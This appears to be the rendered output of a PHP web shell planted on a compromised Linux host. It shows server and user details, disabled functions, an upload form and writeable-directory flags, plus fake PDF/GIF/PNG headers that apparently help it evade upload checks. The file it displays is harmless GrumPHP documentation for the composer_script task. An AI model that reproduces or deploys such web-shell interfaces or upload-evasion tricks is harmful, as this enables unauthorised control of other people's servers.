%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/doc/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/phpro/grumphp/doc/tasks/composer_script.md
# Composer script

The Composer script task will run your configured Composer script.
It lives under the `composer_script` namespace and has following configurable parameters:

```yaml
# grumphp.yml
grumphp:
    tasks:
        composer_script:
            script: ~
            triggered_by: [php, phtml]
            working_directory: ~
```

**script**

*Default: null*

This option specifies which Composer script you want to run.
This option is set to null by default.
This means that grumphp will stop immediately.
Note that this script should be used to verify things.
It is also possible to alter code during commit,
but this is surely NOT recommended!


**triggered_by**

*Default: [php, phtml]*

This option will specify which file extensions will trigger the Composer script.
By default, Composer script will be triggered by altering any file.
You can overwrite this option to whatever file you want to use!


**working_directory**

*Default: null*

This option specifies in which directory the Composer script should be run.

VaKeR 2022